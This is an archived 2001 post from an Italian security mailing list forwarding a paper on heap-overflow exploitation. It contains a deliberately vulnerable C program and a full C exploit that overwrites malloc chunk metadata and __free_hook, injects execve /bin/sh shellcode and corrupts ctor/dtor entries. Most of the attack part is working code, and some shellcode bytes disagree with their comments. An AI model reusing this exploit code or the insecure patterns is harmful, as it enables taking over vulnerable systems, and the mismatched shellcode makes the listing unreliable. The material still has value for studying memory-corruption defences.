
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
Archivio: Giugno 2001 ml@sikurezza.org Soggetto: [FWD] Extreme case: art of writing exploit Mittente: Igor Falcomata' Data: 6 Jun 2001 11:09:34 -0000
forwardo io perche' interessante, ma originariamente in html bye Koba (moderatore) --- forwarded message --- X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Tue, 05 Jun 2001 21:32:51 +0200 To: ml(at)sikurezza.org From: bikappa <bikappa(at)itapac.net> Subject: Extreme case: art of writing exploit
Non ero intenzionato a postarlo ma visto che le cose, come sempre,
girano fin troppo, ho deciso di farlo, dato che comunque di tempo da
quando l'ho scritto ne e' passato e non poco :)
Intanto non credo che nessuno, con o senza i consigli di questo paper,
sia stato in grado di sploittare sshd tramite questo bug (che chiaramente
io non diro' e tantomeno postero' l'exploit). In qualsiasi caso, penso
valga poco dato la quasi impossibilita' di applicarlo a una macchina remota
a meno che non si riescano ad ottenere perfettamente tutti gli offset e
sopratutto perche' sshd si puo' sploittare in altri modi piu' "sicuri".. ma
questa e' un'altra storia e sopratutto non vorrei togliere lavoro a chi si
occupa di postare advisory (quando mai riuscira' a finire l'exploit ;P).
----> pruf <----
To: bikappa(at)low-level.net
Subject: Extreme case: art of writing exploit
Date: Sat Feb 24 2001 15:20:09
Author: bikappa(at)itapac.net
Message-ID: <236519684565.BAH060807(at)selen.it>
Hello,
I finally decided to write a paper about a technique I used in an exploit recently.
It's a long time since I've written an exploit, since I found it useless and
boring. In the last few days I worked on a challenging exploit. That's the
reason that pushed me to finish it, so now I decided to post the proof of the
technique I used to solve my problem. Of course I won't post the exploit and
I won't say the name of the buggy daemon (look at http://anti.security.is).
First of all, I should say this was done in a remote scenario, but now I wrote
a similar vulnproggie, which will work in a local situation. It doesn't matter
because we'll work in a remote setting. This is the vulnerable program - I
inserted what is needed by us to get it working.
----> kioto.c <----
/*
* Exploitable vuln proggie for show some proof
*/
#include <stdio.h>
#include <stdlib.h>
/*
* Some size that should be respected
*/
#define LOALEN 4
#define MAXSIZE 64
#define LONGSZ 16
#define BSIZE1 32
#define BSIZE2 64
#define CHARA 0x41
#define BISZ 128
/*
* that's are some vars declared in the proggie, that i found
* useful to pass like arguments of the doit()
*/
char t[64] = "let me proof d00dz",
version[64] = "xxxxxxx version %d (C) 2000/2001",
b[8] = "zz";
doit(char *arg1, char arg2[])
{
/*
* that's data put from prog in
* the beginning of buff, i
* inserted xxxx coz it was
* to easy understand what's the
* daemon we're working on :=)
*/
char loa[] = "xxxx",
buffer[BISZ];
int i,blen, totsize;
/*
* Copying the 1st 4 byte passed
* from proggie
*/
strncpy(arg1, loa, LOALEN);
totsize = LOALEN;
/* copy shit */
for( i = 0; i < 3; i++) {
bzero(&buffer, BISZ);
gets(buffer);
blen = strlen(buffer) < MAXSIZE ? strlen(buffer) : MAXSIZE;
strncpy(arg1 + totsize, arg2, strlen(arg2));
strncpy(arg1 + totsize + strlen(arg2), buffer, blen);
totsize = totsize + strlen(arg2) + blen; }
}
func (char *mc)
{
char *buf1,*buf2, *buf3;
int i;
buf1 = malloc(BSIZE1);
buf2 = malloc(BSIZE2);
buf3 = malloc(BSIZE2);
/*
* The size are choose with some argument you pass before,
* in real fact happen something like
* memset(buf1, xx, 16) <- data passed by proggie
* strncpy(buf1 + 16, mc, 16) <- data passed by us
*
* in next cycle we can do something like
* memset(buf1, xx, 16) <- data passed by proggie
* strncpy(buf1 + 16 + 16, mc, 16) <- data passed by us
*
* so we'll can write 32 bytes, 16 in the allocated buffer
* and 16 that will overwrite the malloc_chunck of buf2
*/
memset(buf1, CHARA, LONGSZ);
strncpy(buf1 + LONGSZ, mc, BSIZE1);
free(buf1);
free(buf2);
}
int main(int argc, char ** argv)
{
func(argv[1]);
exit(0);
}
----> __EOF__ <----
We should look at the vulnerable situation. It looks like a simplw heap
overflow of 16 bytes. As anyone knows, 16 bytes is enough to overwrite the
malloc_chunck of the next allocated buffer. But at the same time the problem
is unique because we only have 16 bytes of room for the shellcode. But another
piece of bad news is that there is not really 16 bytes, because the last 4 bytes
of buff1 are corrupted by the free(), (and sometimes also first byte of
malloc_chunck of buff2, it depends from prev_size value) so at the end we have
12bytes + 4bytes corrupted + 16bytes of malloc_chunck. It looks quite difficult
to solve, because 12 bytes are not really enough for shellcode, and there's not
other buffer/data to jump to, just because there's no others vars in which to
place shellcode. Now, my first idea was to execute a vulnerable function, but
but we can't insert a TEXT value in the fd of the malloc chunk because free
doesn't permit us to jump there. We should insert a call.
So we find the right functions (in this case doit() and the right argument for
this function, version and b), and we should push the two arguments on the stack and
later call the function. Push dword + push dword + call = 6b + 6b + 5b = 17b..
mm.. that's not nice. We've only 12 bytes but the situation was easly solved from
a lil genius (yeah..that's me). Prev_size of malloc_chunck can be everything
different than 0xffffffff, and it stays at the beginning of the chunk, so we
get 4 bytes more. 12 + 4 = 16bytes, but.. there's 4bytes corrupted in the
middle, so we should jump (and skip) these 4 bytes to prevent a segmentation
fault. So it will be 10bytes + 2bytes of jump + 4bytes corrupted + 4byte of
prev_size = 14 bytes. It's still not enough. Now just think how to work a
call (0xe), it pass the distance, and usually it something like 0xe80x??0x??
0xff0xff, (if it's pretty far it will be one 0xff less), and that means
that we are saved, because next field of malloc_chunk is size and as we
know it should be setted to -1 (0xffffffff) to perform a nice heap exploitation.
So 2bytes of call will be shared with the size. The call is correctly placed
in the 16 bytes of malloc_chunk - the problem now is to push two dword in 10 bytes.
I found 3 solutions. The first is to push a copy of the second argument to
eax, push eax, subtract the distance between the second and first arguments, and
push eax again.
The two args are:
version : $0x8049840
b: $0x8049880
mov $version,%eax
pushl %eax
subl $0x40,%eax
pushl %eax
and that's 10 bytes. The second method is to pass a NULL:
pushl $0x8049840
subl %eax,%eax
push %eax
and this is 10 bytes too. The last method, which is easier and faster,
is to use directly the d68h of x86 architecture and use the opcode 0x68.
pushl $0x8049840
pushl $0x8049880
We will use this last method. So after this these 2 pushes we just insert a jump
4 bytes forward (to skip corrupted bytes).
The situation of buff1 will appear like this:
__ __
| |
| |
| |
| |
| 16 bytes |
| Data passed |
| by proggie |
| |
Buff1 | |
Malloc(32) | |__
| __ __
| | |
| | | pushl $version
| | |
| 16 bytes | 10bytes | pushl $b
| Passed | |
| by us | |__
| | __
| | 2bytes |__ jump addr + 4
| | __
| | 4bytes | corrupted
|__ |__ |__ data
__ __ __
| Prev_size | 1bytes |__ nop
| 4bytes |__ |
Malloc | __ 5bytes | call doit()
Chunck | Size | |__
of buff2 | 4bytes |__ 2bytes |__ end of size
malloc(32) | __ __
| BK | 4bytes | address of
| 4bytes |__ |__ __free_hook
| __ __
| FD | 4bytes | address to
|__ 4bytes |__ |__ jump to
Now we work on the second part of the exploit. This is the exploit for the
doit() function. First of all, we should decide 2 args to pass and in this
case I inserted the two right buffers in the vuln proggie. So the first
argument will be version and the second, b. The important thing is to
calculate the right size to obtain something interesting and helpful. The
mem situation is version, b, force_to_data, frame_end, c/dtor. For our
interests we should overwrite all the frame_end + c/dtor data. So it is
pretty important to do the right calculations: at the first cycle we'll
overwrite a,b mem area, at the second cycle we'll overwrite some force_to_data
area (and it can be a nice zone to place our shellcode) and with the third
cycle we'll overwrite the end of force_to_data plus frame_end plus ctor and
dtor. And in this cycle we should put all the right addresses. The list value
should be equal to -1 and in the end field of dtor (if the other end fields
are equal to 0) we should put the address we want to jump to. But of course
we can't set some field equal to 0, so we'll push the address, and after
8 bytes (these are the bytes to be skipped), insert the address to jump to. We've
decided to insert the shellcode on the 2nd cycle and I think it is a perfect place
because all 64 bytes passed aren't corrupted or truncated. After all our data
will be passed, the situation of mem will look like so:
4b 2b 64bytes 2b 64bytes 2b 60bytes
[data][b][1cycle AA...AA][b][2cycle NOP...shellcode][b][3cycle AA..STRUCT+ADDR]
And now here goes the exploit for this well know situation. This one is simple
so it looks like a good starting point.
----> explotio.c <-----
#include <stdio.h>
#include <stdlib.h>
/*
* Data sheet for heap overflow
*
* start of buff1: 0x8049a08
* doit() address: 0x8048560
* version: $0x8049840
* b: $0x8049880
* mc + 1: 0x8049A29
* buff1 + 16: 0x8049A18
*/
#define FREE_HOOK 0x40101458
#define BUFF 0x8049A18
#define BUFFERSIZE 500
#define ADDR 0x8048560 //0x40041720 /* 0x804989A */
#define NOP 0x90
#define BSIZE 128
#define MENUN 0xffffffff
#define CHARA 0x41
#define REMSZ 64
#define PAD 10
#define FREDS 30 /* distance from start of buf3 to FR_END */
#define FRESZ 20
/* 16 bytes call-code */
unsigned char callcode[] =
"\x68\x40\x98\x04\x08" /* pushl $0x8049840 */
"\x68\x80\x99\x04\x08" /* pushl $0x8049880 */
"\xeb\x05" /* jmp addr + 5 */
"\x90" /* nop */
"\x90" /* nop */
"\x90" /* nop */
"\x90"; /* nop */
/* 25 bytes shellcode */
unsigned char shellcode[] =
/*
* push %ebp "\x55"
* mov %esp,%ebp "\x89\xe5"
* sub %eax,%eax "\x29\xc0"
* push %eax "\x50"
* push $0x68732f2f "\x68\x2f\x2f\x73\x68"
* push $0x6e69622f "\x68\x2f\x2f\x69\x6e"
* mov %esp,%ebx "\x89\xe3"
* push %eax "\x50"
* mov %esp,%edx "\x89\xe2"
* push %esp "\x54"
* mov %esp,%ecx "\x89\xe1"
* mov $0xb,%al "\xb0\x08"
* int $0x80 "\xcd\x80"
* mov %ebp,%esp "\x89\xec"
* pop %ebp "\x5d"
* ret "\xc3"
*/
"\x29\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x2f\x69\x6e\x89\xe3\x50"
"\x89\xe2\x54\x89\xe1\xb0\x08\xcd"
"\x80\x90";
int main(int argc,char **argv)
{
struct FRAME_END {
unsigned int FR_END__;
struct _CTOR {
unsigned int LIST__;
unsigned int END__;
} CT;
struct _DTOR {
unsigned int LIST__;
unsigned int END__;
} DT;
} FE_;
struct malloc_chunk{
unsigned int ps;
unsigned int sz;
unsigned int fd;
unsigned int bk;
} mc;
pid_t soon;
unsigned char *type = "w";
int bsize = argc > 1 ? atoi(argv[1]) : 16;
unsigned int offset = argc > 2 ? atoi(argv[2]) : 0;
unsigned int addr = ADDR + offset;
char *program[2];
char buffer1[BSIZE],
buffer2[BSIZE],
buffer3[BSIZE],
buffer[BUFFERSIZE];
int i;
/*
* The 3 buffer used for data
* of doit() overflow
*/
bzero(&buffer1, BSIZE);
bzero(&buffer2, BSIZE);
bzero(&buffer3, BSIZE);
/*
* NEW Malloc chunck data:
*
* Address of this buffer 0x8049A29
* Address of functions 0x8048560
* distance is 5321 - 4
* distance 0xFFFFEB33
*/
mc.ps = 0xeb33e890;
mc.sz = 0xffffffff;
mc.bk = FREE_HOOK - 8;
mc.fd = BUFF;
/*
* New framde end, c/dtors data:
*/
FE_.FR_END__ = ADDR;
FE_.CT.LIST__ = MENUN;
FE_.CT.END__ = ADDR;
FE_.DT.LIST__ = MENUN;
FE_.DT.END__ = ADDR;
/*
* Setting un buffer for heap overflow
*/
memset(buffer, CHARA, BUFFERSIZE);
memcpy(buffer, callcode, bsize);
memcpy(buffer + bsize, &mc, sizeof(mc));
buffer[bsize + sizeof(mc)]=0;
/*
* Setting up buffers for doit() overflow
*/
/* buffer 1 - only [AAA...AA] */
memset(buffer1, CHARA, REMSZ);
/* buffer 2 - shellcode is here */
memset(buffer2, NOP, REMSZ);
memcpy(buffer2 + PAD, &shellcode, sizeof(shellcode) - 1);
/* buffer 3 - frame_end + addrofsh */
memset(buffer3, CHARA, FREDS);
memcpy(buffer3 + FREDS, &FE_, FRESZ);
memset(buffer3 + FREDS + FRESZ, NOP, 8);
memcpy(buffer3 + FREDS + FRESZ + 8, &addr, 4);
printf("Heap: buffersize = %d, addressofcallcode = 0x%x\n", bsize + sizeof(mc), BUFF);
printf("Doit: shellcode = %d, addressofshellcode = 0x%x\n", sizeof(shellcode)-1, addr);
snprintf(buffer, 32, "%s %s", argv[0], argv[1]);
popen("./piotto5", type);
/* Put the data */
sleep(1);
puts(buffer1);
sleep(1);
puts(buffer1);
sleep(1);
puts(buffer1);
}
----> __EOF__ <-----
I think it also could be nice to make this work on a stackguarded daemon, and
the solution appears pretty easy - simply avoid the stack and work on the heap :P
That's all. I hope that I have proved that writing exploits should be an art, which
is something only artists can do.
Signed,
bikappa
----> __EOF__ <----
_______________________________________________________
bikappa [bikappa(at)itapac.net/low-level.net] [bikappa(at)IRCnet#hax]
[http://www.low-level.net] [http://anti.security.is] [l0wlevel] [bin/zsh]
Free Advertising : http://www.FreeSK8.org/
________________________________________________________ http://www.sikurezza.org - Italian Security Mailing List
[ Home | Liste | F.A.Q. |
Risorse | Cerca... ]
www.sikurezza.org - Italian Security Mailing List
(c) 1999-2005